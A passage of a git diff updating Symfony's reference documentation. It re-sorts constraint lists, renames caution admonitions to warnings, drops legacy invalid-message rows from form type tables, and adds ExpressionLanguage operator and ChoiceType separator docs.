 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`DivisibleBy </reference/constraints/DivisibleBy>`
 * :doc:`EqualTo </reference/constraints/EqualTo>`
-* :doc:`NotEqualTo </reference/constraints/NotEqualTo>`
+* :doc:`GreaterThan </reference/constraints/GreaterThan>`
+* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>`
 * :doc:`IdenticalTo </reference/constraints/IdenticalTo>`
-* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>`
 * :doc:`LessThan </reference/constraints/LessThan>`
 * :doc:`LessThanOrEqual </reference/constraints/LessThanOrEqual>`
-* :doc:`GreaterThan </reference/constraints/GreaterThan>`
-* :doc:`GreaterThanOrEqual </reference/constraints/GreaterThanOrEqual>`
+* :doc:`NotEqualTo </reference/constraints/NotEqualTo>`
+* :doc:`NotIdenticalTo </reference/constraints/NotIdenticalTo>`
 * :doc:`Range </reference/constraints/Range>`
-* :doc:`DivisibleBy </reference/constraints/DivisibleBy>`
 * :doc:`Unique </reference/constraints/Unique>`
 
 Number Constraints
 ~~~~~~~~~~~~~~~~~~
-* :doc:`Positive </reference/constraints/Positive>`
-* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>`
+
 * :doc:`Negative </reference/constraints/Negative>`
 * :doc:`NegativeOrZero </reference/constraints/NegativeOrZero>`
+* :doc:`Positive </reference/constraints/Positive>`
+* :doc:`PositiveOrZero </reference/constraints/PositiveOrZero>`
 
 Date Constraints
 ~~~~~~~~~~~~~~~~
@@ -68,9 +75,9 @@ Choice Constraints
 ~~~~~~~~~~~~~~~~~~
 
 * :doc:`Choice </reference/constraints/Choice>`
+* :doc:`Country </reference/constraints/Country>`
 * :doc:`Language </reference/constraints/Language>`
 * :doc:`Locale </reference/constraints/Locale>`
-* :doc:`Country </reference/constraints/Country>`
 
 File Constraints
 ~~~~~~~~~~~~~~~~
@@ -81,30 +88,39 @@ File Constraints
 Financial and other Number Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-two-columns
+
 * :doc:`Bic </reference/constraints/Bic>`
 * :doc:`CardScheme </reference/constraints/CardScheme>`
 * :doc:`Currency </reference/constraints/Currency>`
-* :doc:`Luhn </reference/constraints/Luhn>`
 * :doc:`Iban </reference/constraints/Iban>`
 * :doc:`Isbn </reference/constraints/Isbn>`
-* :doc:`Issn </reference/constraints/Issn>`
 * :doc:`Isin </reference/constraints/Isin>`
+* :doc:`Issn </reference/constraints/Issn>`
+* :doc:`Luhn </reference/constraints/Luhn>`
+
+Doctrine Constraints
+~~~~~~~~~~~~~~~~~~~~
+
+* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`
+* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
+* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
 
 Other Constraints
 ~~~~~~~~~~~~~~~~~
 
+.. class:: ui-list-three-columns
+
+* :doc:`All </reference/constraints/All>`
 * :doc:`AtLeastOneOf </reference/constraints/AtLeastOneOf>`
-* :doc:`Sequentially </reference/constraints/Sequentially>`
-* :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`
-* :doc:`Expression </reference/constraints/Expression>`
-* :doc:`When </reference/constraints/When>`
-* :doc:`All </reference/constraints/All>`
-* :doc:`Valid </reference/constraints/Valid>`
 * :doc:`Cascade </reference/constraints/Cascade>`
-* :doc:`Traverse </reference/constraints/Traverse>`
 * :doc:`Collection </reference/constraints/Collection>`
+* :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Count </reference/constraints/Count>`
-* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
-* :doc:`EnableAutoMapping </reference/constraints/EnableAutoMapping>`
-* :doc:`DisableAutoMapping </reference/constraints/DisableAutoMapping>`
+* :doc:`Expression </reference/constraints/Expression>`
+* :doc:`GroupSequence </validation/sequence_provider>`
+* :doc:`Sequentially </reference/constraints/Sequentially>`
+* :doc:`Traverse </reference/constraints/Traverse>`
+* :doc:`Valid </reference/constraints/Valid>`
+* :doc:`When </reference/constraints/When>`
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 917bb9bb466..866aac5774f 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -335,7 +335,7 @@ controller.argument_value_resolver
 Value resolvers implement the
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface`
 and are used to resolve argument values for controllers as described here:
-:doc:`/controller/argument_value_resolver`.
+:doc:`/controller/value_resolver`.
 
 data_collector
 --------------
@@ -483,7 +483,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 
     class MyCustomWarmer implements CacheWarmerInterface
     {
-        public function warmUp(string $cacheDir, string $buildDir = null): array
+        public function warmUp(string $cacheDir, ?string $buildDir = null): array
         {
             // ... do some sort of operations to "warm" your cache
 
@@ -560,7 +560,7 @@ can also register it manually:
     that defaults to ``0``. The higher the number, the earlier that warmers are
     executed.
 
-.. caution::
+.. warning::
 
     If your cache warmer fails its execution because of any exception, Symfony
     won't try to execute it again for the next requests. Therefore, your
diff --git a/reference/events.rst b/reference/events.rst
index 92f917f9115..57806ee8f8d 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -56,8 +56,8 @@ their priorities:
 
 This event is dispatched after the controller has been resolved but before executing
 it. It's useful to initialize things later needed by the
-controller, such as `param converters`_, and even to change the controller
-entirely::
+controller, such as :ref:`value resolvers <managing-value-resolvers>`, and
+even to change the controller entirely::
 
     use Symfony\Component\HttpKernel\Event\ControllerEvent;
 
@@ -296,5 +296,3 @@ their priorities:
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher kernel.exception
-
-.. _`param converters`: https://symfony.com/doc/master/bundles/SensioFrameworkExtraBundle/annotations/converters.html
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 7daa4c98957..a23440c5715 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -1,9 +1,9 @@
 The Expression Syntax
 =====================
 
-The ExpressionLanguage component uses a specific syntax which is based on the
-expression syntax of Twig. In this document, you can find all supported
-syntaxes.
+The :doc:`ExpressionLanguage component </components/expression_language>` uses a
+specific syntax which is based on the expression syntax of Twig. In this document,
+you can find all supported syntaxes.
 
 Supported Literals
 ------------------
@@ -21,7 +21,7 @@ The component supports:
 * **null** - ``null``
 * **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
 
-.. caution::
+.. warning::
 
     A backslash (``\``) must be escaped by 3 backslashes (``\\\\``) in a string
     and 7 backslashes (``\\\\\\\\``) in a regex::
@@ -94,6 +94,8 @@ JavaScript::
 
 This will print out ``Hi Hi Hi!``.
 
+.. _component-expression-null-safe-operator:
+
 Null-safe Operator
 ..................
 
@@ -109,6 +111,25 @@ operator)::
     $expressionLanguage->evaluate('fruit?.color', ['fruit' => '...'])
     $expressionLanguage->evaluate('fruit?.getStock()', ['fruit' => '...'])
 
+.. _component-expression-null-coalescing-operator:
+
+Null-Coalescing Operator
+........................
+
+It returns the left-hand side if it exists and it's not ``null``; otherwise it
+returns the right-hand side. Expressions can chain multiple coalescing operators:
+
+* ``foo ?? 'no'``
+* ``foo.baz ?? 'no'``
+* ``foo[3] ?? 'no'``
+* ``foo.baz ?? foo['baz'] ?? 'no'``
+
+.. note::
+
+    The main difference with the `null-coalescing operator in PHP`_ is that
+    ExpressionLanguage will throw an exception when trying to access a
+    non-existent variable.
+
 .. _component-expression-functions:
 
 Working with Functions
@@ -404,6 +425,59 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
+Other Operators
+~~~~~~~~~~~~~~~
+
+* ``?.`` (:ref:`null-safe operator <component-expression-null-safe-operator>`)
+* ``??`` (:ref:`null-coalescing operator <component-expression-null-coalescing-operator>`)
+
+Operators Precedence
+~~~~~~~~~~~~~~~~~~~~
+
+Operator precedence determines the order in which operations are processed in an
+expression. For example, the result of the expression ``1 + 2 * 4`` is ``9``
+and not ``12`` because the multiplication operator (``*``) takes precedence over
+the addition operator (``+``).
+
+To avoid ambiguities (or to alter the default order of operations) add
+parentheses in your expressions (e.g. ``(1 + 2) * 4`` or ``1 + (2 * 4)``.
+
+The following table summarizes the operators and their associativity from the
+**highest to the lowest precedence**:
+
++----------------------------------------------------------+---------------+
+| Operators                                                | Associativity |
++==========================================================+===============+
+| ``-`` , ``+`` (unary operators that add the number sign) | none          |
++----------------------------------------------------------+---------------+
+| ``**``                                                   | right         |
++----------------------------------------------------------+---------------+
+| ``*``, ``/``, ``%``                                      | left          |
++----------------------------------------------------------+---------------+
+| ``not``, ``!``                                           | none          |
++----------------------------------------------------------+---------------+
+| ``~``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``+``, ``-``                                             | left          |
++----------------------------------------------------------+---------------+
+| ``..``                                                   | left          |
++----------------------------------------------------------+---------------+
+| ``==``, ``===``, ``!=``, ``!==``,                        | left          |
+| ``<``, ``>``, ``>=``, ``<=``,                            |               |
+| ``not in``, ``in``, ``contains``,                        |               |
+| ``starts with``, ``ends with``, ``matches``              |               |
++----------------------------------------------------------+---------------+
+| ``&``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``^``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``|``                                                    | left          |
++----------------------------------------------------------+---------------+
+| ``and``, ``&&``                                          | left          |
++----------------------------------------------------------+---------------+
+| ``or``, ``||``                                           | left          |
++----------------------------------------------------------+---------------+
+
 Built-in Objects and Variables
 ------------------------------
 
@@ -414,3 +488,5 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
+
+.. _`null-coalescing operator in PHP`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 5ebd5def049..fb0143228c1 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -3,7 +3,8 @@ How to Translate Messages using the ICU MessageFormat
 
 Messages (i.e. strings) in applications are almost never completely static.
 They contain variables or other complex logic like pluralization. To
-handle this, the Translator component supports the `ICU MessageFormat`_ syntax.
+handle this, the :doc:`Translator component </translation>` supports the
+`ICU MessageFormat`_ syntax.
 
 .. tip::
 
@@ -63,7 +64,7 @@ The basic usage of the MessageFormat allows you to use placeholders (called
             'say_hello' => "Hello {name}!",
         ];
 
-.. caution::
+.. warning::
 
     In the previous translation format, placeholders were often wrapped in ``%``
     (e.g. ``%name%``). This ``%`` character is no longer valid with the ICU
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 6a61cafa74a..1884735bd82 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -1,8 +1,8 @@
 The YAML Format
 ---------------
 
-The Symfony Yaml Component implements a selected subset of features defined in
-the `YAML 1.2 version specification`_.
+The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset
+of features defined in the `YAML 1.2 version specification`_.
 
 Scalars
 ~~~~~~~
@@ -34,12 +34,10 @@ must be doubled to escape it:
 
     'A single quote '' inside a single-quoted string'
 
-Strings containing any of the following characters must be quoted. Although you
-can use double quotes, for these characters it is more convenient to use single
-quotes, which avoids having to escape any backslash ``\``:
-
-* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
-  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
+Strings containing any of the following characters must be quoted:
+``: { } [ ] , & * # ? | - < > = ! % @`` Although you can use double quotes, for
+these characters it is more convenient to use single quotes, which avoids having
+to escape any backslash ``\``.
 
 The double-quoted style provides a way to express arbitrary strings, by
 using ``\`` to escape characters and sequences. For instance, it is very useful
@@ -52,11 +50,11 @@ when you need to embed a ``\n`` or a Unicode character in a string.
 If the string contains any of the following control characters, it must be
 escaped with double quotes:
 
-* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
-  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
-  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
-  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
-  ``\_``, ``\L``, ``\P``
+``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
+``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
+``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
+``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
+``\_``, ``\L``, ``\P``
 
 Finally, there are other cases when the strings must be quoted, no matter if
 you're using single or double quotes:
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 2098d3cfb89..383dbf890f2 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -19,8 +19,6 @@ option defaults to 120 years ago to the current year.
 +---------------------------+-------------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid birthdate.                                               |
 +---------------------------+-------------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                           |
-+---------------------------+-------------------------------------------------------------------------------+
 | Parent type               | :doc:`DateType </reference/forms/types/date>`                                 |
 +---------------------------+-------------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\BirthdayType`        |
diff --git a/reference/forms/types/checkbox.rst b/reference/forms/types/checkbox.rst
index 472d6f84024..2299220c5b6 100644
--- a/reference/forms/types/checkbox.rst
+++ b/reference/forms/types/checkbox.rst
@@ -13,8 +13,6 @@ if you want to handle submitted values like "0" or "false").
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | The checkbox has an invalid value.                                     |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CheckboxType` |
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 3637da8bdca..5ec8aac0ff8 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -11,8 +11,6 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ChoiceType` |
@@ -95,7 +93,7 @@ method::
 You can also customize the `choice_name`_ of each choice. You can learn more
 about all of these options in the sections below.
 
-.. caution::
+.. warning::
 
     The *placeholder* is a specific field, when the choices are optional the
     first item in the list must be empty, so the user can unselect.
@@ -202,6 +200,32 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/preferred_choices.rst.inc
 
+``separator``
+~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``-------------------``
+
+This option allows you to customize the visual separator shown after the preferred
+choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
+but you'll also need to set the `separator_html`_ option to ``true``.
+
+.. versionadded:: 7.1
+
+    The ``separator`` option was introduced in Symfony 7.1.
+
+``separator_html``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If this option is true, the `separator`_ option will be displayed as HTML instead
+of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
+visual separator.
+
+.. versionadded:: 7.1
+
+    The ``separator_html`` option was introduced in Symfony 7.1.
+
 Overridden Options
 ------------------
 
diff --git a/reference/forms/types/collection.rst b/reference/forms/types/collection.rst
index 2d91bfd06bd..2875ba076d0 100644
--- a/reference/forms/types/collection.rst
+++ b/reference/forms/types/collection.rst
@@ -16,8 +16,6 @@ that is passed as the collection type field data.
 +---------------------------+--------------------------------------------------------------------------+
 | Default invalid message   | The collection is invalid.                                               |
 +---------------------------+--------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                      |
-+---------------------------+--------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                            |
 +---------------------------+--------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CollectionType` |
@@ -101,7 +99,7 @@ can be used - with JavaScript - to create new form items dynamically on
 the client side. For more information, see the above example and
 :ref:`form-collections-new-prototype`.
 
-.. caution::
+.. warning::
 
     If you're embedding entire other forms to reflect a one-to-many database
     relationship, you may need to manually ensure that the foreign key of
@@ -121,7 +119,7 @@ submitted data will mean that it's removed from the final array.
 
 For more information, see :ref:`form-collections-remove`.
 
-.. caution::
+.. warning::
 
     Be careful when using this option when you're embedding a collection
     of objects. In this case, if any embedded forms are removed, they *will*
@@ -141,7 +139,7 @@ form you have to set this option to ``true``. However, existing collection entri
 will only be deleted if you have the allow_delete_ option enabled. Otherwise
 the empty values will be kept.
 
-.. caution::
+.. warning::
 
     The ``delete_empty`` option only removes items when the normalized value is
     ``null``. If the nested `entry_type`_ is a compound form type, you must
@@ -160,7 +158,7 @@ the value is removed from the collection. For example::
 
     $builder->add('users', CollectionType::class, [
         // ...
-        'delete_empty' => function (User $user = null): bool {
+        'delete_empty' => function (?User $user = null): bool {
             return null === $user || empty($user->getFirstName());
         },
     ]);
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 1a320b9bdbf..b205127fb91 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -16,8 +16,6 @@ element.
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please select a valid color.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\ColorType` |
diff --git a/reference/forms/types/country.rst b/reference/forms/types/country.rst
index 8913e639f23..6c98897b6ba 100644
--- a/reference/forms/types/country.rst
+++ b/reference/forms/types/country.rst
@@ -20,8 +20,6 @@ the option manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please select a valid country.                                        |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                     |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CountryType` |
@@ -54,7 +52,7 @@ Overridden Options
 The country type defaults the ``choices`` option to the whole list of countries.
 The locale is used to translate the countries names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the country type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/currency.rst b/reference/forms/types/currency.rst
index cca441ff930..94c0d2cddc8 100644
--- a/reference/forms/types/currency.rst
+++ b/reference/forms/types/currency.rst
@@ -13,8 +13,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid currency.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\CurrencyType` |
@@ -37,7 +35,7 @@ Overridden Options
 
 The choices option defaults to all currencies.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the currency type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index 515c12099a1..f28aae474b9 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -14,8 +14,6 @@ and can understand a number of different input formats via the `input`_ option.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateType`          |
@@ -103,7 +101,7 @@ This can be tricky: if the date picker is misconfigured, Symfony won't understan
 the format and will throw a validation error. You can also configure the format
 that Symfony should expect via the `format`_ option.
 
-.. caution::
+.. warning::
 
     The string used by a JavaScript date picker to describe its format (e.g. ``yyyy-mm-dd``)
     may not match the string that Symfony uses (e.g. ``yyyy-MM-dd``). This is because
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 627fb78d7ed..838ae2bbdef 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -16,8 +16,6 @@ or an array (see `input`_).
 +---------------------------+----------------------------------------------------------------------------------+
 | Default invalid message   | Please choose a valid date interval.                                             |
 +---------------------------+----------------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                              |
-+---------------------------+----------------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                                    |
 +---------------------------+----------------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateIntervalType`       |
@@ -223,7 +221,7 @@ following:
 Whether or not to include days in the input. This will result in an additional
 input to capture days.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_weeks`_ is enabled.
 
@@ -276,7 +274,7 @@ input to capture seconds.
 Whether or not to include weeks in the input. This will result in an additional
 input to capture weeks.
 
-.. caution::
+.. warning::
 
     This can not be used when `with_days`_ is enabled.
 
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index 7ffc0ee216f..5fda8e9a14f 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -14,8 +14,6 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                         |
-+---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                               |
 +---------------------------+-----------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\DateTimeType`      |
diff --git a/reference/forms/types/email.rst b/reference/forms/types/email.rst
index 9045bba8cc4..ef535050813 100644
--- a/reference/forms/types/email.rst
+++ b/reference/forms/types/email.rst
@@ -9,8 +9,6 @@ The ``EmailType`` field is a text field that is rendered using the HTML5
 +---------------------------+---------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid email address.                                 |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                 |
-+---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EmailType` |
diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index f30d5f9a5b2..0d900de377f 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -183,7 +183,7 @@ passed the ``EntityRepository`` of the entity as the only argument and should
 return a ``QueryBuilder``. Returning ``null`` in the Closure will result in
 loading all entities.
 
-.. caution::
+.. warning::
 
     The entity used in the ``FROM`` clause of the ``query_builder`` option
     will always be validated against the class which you have specified at the
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 47416ee6215..875c0808108 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -10,8 +10,6 @@ field and defines the same options.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The selected choice is invalid.                                      |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType`   |
@@ -66,7 +64,7 @@ implement ``TranslatableInterface`` to translate or display custom labels::
         case Center = 'Center aligned';
         case Right = 'Right aligned';
 
-        public function trans(TranslatorInterface $translator, string $locale = null): string
+        public function trans(TranslatorInterface $translator, ?string $locale = null): string
         {
             // Translate enum from name (Left, Center or Right)
             return $translator->trans($this->name, locale: $locale);
diff --git a/reference/forms/types/file.rst b/reference/forms/types/file.rst
index b4982859b98..2e841611eb8 100644
--- a/reference/forms/types/file.rst
+++ b/reference/forms/types/file.rst
@@ -8,8 +8,6 @@ The ``FileType`` represents a file input in your form.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | Please select a valid file.                                        |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                |
-+---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FileType` |
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 0d0089c1fd3..58a6214d379 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -7,8 +7,6 @@ on all types for which ``FormType`` is the parent.
 +---------------------------+--------------------------------------------------------------------+
 | Default invalid message   | This value is not valid.                                           |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy invalid message    | This value is not valid.                                           |
-+---------------------------+--------------------------------------------------------------------+
 | Parent                    | none                                                               |
 +---------------------------+--------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\FormType` |
diff --git a/reference/forms/types/hidden.rst b/reference/forms/types/hidden.rst
index fba056b88e5..d6aff282edd 100644
--- a/reference/forms/types/hidden.rst
+++ b/reference/forms/types/hidden.rst
@@ -8,8 +8,6 @@ The hidden type represents a hidden input field.
 +---------------------------+----------------------------------------------------------------------+
 | Default invalid message   | The hidden field is invalid.                                         |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                  |
-+---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
 +---------------------------+----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\HiddenType` |
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 619ac996df6..1f94f9e2525 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -15,8 +15,6 @@ integers. By default, all non-integer values (e.g. 6.78) will round down
 +---------------------------+-----------------------------------------------------------------------+
 | Default invalid message   | Please enter an integer.                                              |
 +---------------------------+-----------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                   |
-+---------------------------+-----------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
 +---------------------------+-----------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\IntegerType` |
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 4b1bccd077d..a1e699a0686 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -22,8 +22,6 @@ manually, but then you should just use the ``ChoiceType`` directly.
 +---------------------------+------------------------------------------------------------------------+
 | Default invalid message   | Please select a valid language.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy invalid message    | The value {{ value }} is not valid.                                    |
-+---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
 | Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\LanguageType` |
@@ -71,7 +69,7 @@ Overridden Options
 The choices option defaults to all languages.
 The default locale is used to translate the languages names.
 
-.. caution::
+.. warning::
 
     If you want to override the built-in choices of the language type, you
     will also have to set the ``choice_loader`` option to ``null``.
diff --git a/reference/forms/types/locale.rst b/reference/forms/types/locale.rst
index 1868f20eda1..c006beb14fd 100644
--- a/reference/forms/types/locale.rst
+++ b/reference/forms/types/locale.rst
